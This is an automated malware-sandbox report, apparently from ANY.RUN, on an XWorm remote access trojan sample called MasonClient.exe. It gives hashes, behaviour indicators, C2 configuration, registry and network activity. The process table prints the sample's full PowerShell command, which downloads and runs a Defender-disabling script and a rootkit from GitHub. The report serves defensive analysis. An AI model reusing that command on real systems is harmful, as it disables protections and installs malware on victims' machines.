| File name: | MasonClient.exe |
| Full analysis: | https://app.any.run/tasks/5dfee45b-97e1-4b36-bb14-c6c1b3d5eaa9 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | April 15, 2025, 01:15:19 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | E8E2B6442B1C679B1CAD68F9EBD13E62 |
| SHA1: | 2825589B9DD3631280F48CF7391B06D5FB4493F2 |
| SHA256: | F0C759B1D8B4BC6A854A93D41C193A44BDFCCCC8FF3A5D0B9622484A9360B85A |
| SSDEEP: | 768:Iad/6C0fhN8iCvrcE4Jd0gHE9bh5CcHGt/X6vMzuhFO1HlfeGb7:Iaqsv/4Jd059bh5CAg/03ODp |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 2656)
Bypass execution policy to execute commands
- powershell.exe (PID: 2656)
Changes powershell execution policy (Bypass)
- MasonClient.exe (PID: 4436)
Script downloads file (POWERSHELL)
- powershell.exe (PID: 2656)
XWORM has been detected (YARA)
- MasonClient.exe (PID: 4436)
Uses Task Scheduler to run other applications
- MasonClient.exe (PID: 4436)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- MasonClient.exe (PID: 4436)
Probably download files using WebClient
- MasonClient.exe (PID: 4436)
Reads security settings of Internet Explorer
- MasonClient.exe (PID: 4436)
Starts process via Powershell
- powershell.exe (PID: 2656)
Manipulates environment variables
- powershell.exe (PID: 2656)
Executable content was dropped or overwritten
- MasonClient.exe (PID: 4436)
Connects to unusual port
- MasonClient.exe (PID: 4436)
There is functionality for taking screenshot (YARA)
- MasonClient.exe (PID: 4436)
The process executes via Task Scheduler
- MasonClient.exe (PID: 8124)
- MasonClient.exe (PID: 7144)
- MasonClient.exe (PID: 5008)
- MasonClient.exe (PID: 6184)
Reads the date of Windows installation
- MasonClient.exe (PID: 4436)
The process bypasses the loading of PowerShell profile settings
- MasonClient.exe (PID: 4436)
INFO
Process checks computer location settings
- MasonClient.exe (PID: 4436)
Reads the computer name
- MasonClient.exe (PID: 4436)
- MasonClient.exe (PID: 8124)
- MasonClient.exe (PID: 7144)
- MasonClient.exe (PID: 5008)
- MasonClient.exe (PID: 6184)
Checks proxy server information
- powershell.exe (PID: 2656)
- MasonClient.exe (PID: 4436)
- slui.exe (PID: 728)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 2656)
Disables trace logs
- powershell.exe (PID: 2656)
- MasonClient.exe (PID: 4436)
Reads the machine GUID from the registry
- MasonClient.exe (PID: 4436)
Reads the software policy settings
- MasonClient.exe (PID: 4436)
- slui.exe (PID: 7356)
- slui.exe (PID: 728)
Creates files or folders in the user directory
- MasonClient.exe (PID: 4436)
Reads Environment values
- MasonClient.exe (PID: 4436)
Checks supported languages
- MasonClient.exe (PID: 8124)
- MasonClient.exe (PID: 7144)
- MasonClient.exe (PID: 5008)
- MasonClient.exe (PID: 6184)
- MasonClient.exe (PID: 4436)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(4436) MasonClient.exe
C2192.168.1.222:1417
Keys
AESMasonRAT
Options
SplitterMasonGroup
USB drop nameUSB.exe
MutexrxqGD2bX1oNG92Jd
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:04:15 01:14:11+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 49664 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xe16e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | %Des% |
| CompanyName: | %Company% |
| FileDescription: | %Title% |
| FileVersion: | 1.0.0.0 |
| InternalName: | MasonClient.exe |
| LegalCopyright: | %Copyright% |
| LegalTrademarks: | %Trademark% |
| OriginalFileName: | MasonClient.exe |
| ProductName: | %Product% |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
143
Monitored processes
13
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 728 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1244 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2656 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | MasonClient.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4436 | "C:\Users\admin\AppData\Local\Temp\MasonClient.exe" | C:\Users\admin\AppData\Local\Temp\MasonClient.exe | explorer.exe | ||||||||||||
User: admin Company: %Company% Integrity Level: MEDIUM Description: %Title% Version: 1.0.0.0 Modules
XWorm(PID) Process(4436) MasonClient.exe C2192.168.1.222:1417 Keys AESMasonRAT Options SplitterMasonGroup USB drop nameUSB.exe MutexrxqGD2bX1oNG92Jd | |||||||||||||||
| 5008 | "C:\Users\admin\AppData\Roaming\MasonClient.exe" | C:\Users\admin\AppData\Roaming\MasonClient.exe | — | svchost.exe | |||||||||||
User: admin Company: %Company% Integrity Level: MEDIUM Description: %Title% Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 6184 | "C:\Users\admin\AppData\Roaming\MasonClient.exe" | C:\Users\admin\AppData\Roaming\MasonClient.exe | — | svchost.exe | |||||||||||
User: admin Company: %Company% Integrity Level: MEDIUM Description: %Title% Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 7144 | "C:\Users\admin\AppData\Roaming\MasonClient.exe" | C:\Users\admin\AppData\Roaming\MasonClient.exe | — | svchost.exe | |||||||||||
User: admin Company: %Company% Integrity Level: MEDIUM Description: %Title% Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 7320 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7356 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
8 536
Read events
8 522
Write events
14
Delete events
0
Modification events
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4436) MasonClient.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\MasonClient_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
1
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2656 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_oxy24yse.jk3.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2656 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:0E859AC33EC8644437F1CA1349A26108 | SHA256:0EDF407DF0B7AC9D5C08EE0958E4AA26532BBFBAFA0A9A947011709040C61B63 | |||
| 4436 | MasonClient.exe | C:\Users\admin\AppData\Roaming\MasonClient.exe | executable | |
MD5:E8E2B6442B1C679B1CAD68F9EBD13E62 | SHA256:F0C759B1D8B4BC6A854A93D41C193A44BDFCCCC8FF3A5D0B9622484A9360B85A | |||
| 2656 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xklcamwb.lta.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
46
DNS requests
19
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
7984 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
7984 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
2656 | powershell.exe | 140.82.121.3:443 | github.com | GITHUB | US | whitelisted |
4436 | MasonClient.exe | 185.199.108.133:443 | raw.githubusercontent.com | FASTLY | US | whitelisted |
6544 | svchost.exe | 20.190.159.23:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
— | — | 192.168.100.7:49749 | — | — | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
github.com |
| whitelisted |
raw.githubusercontent.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
abolhb.com |
| malicious |
slscr.update.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |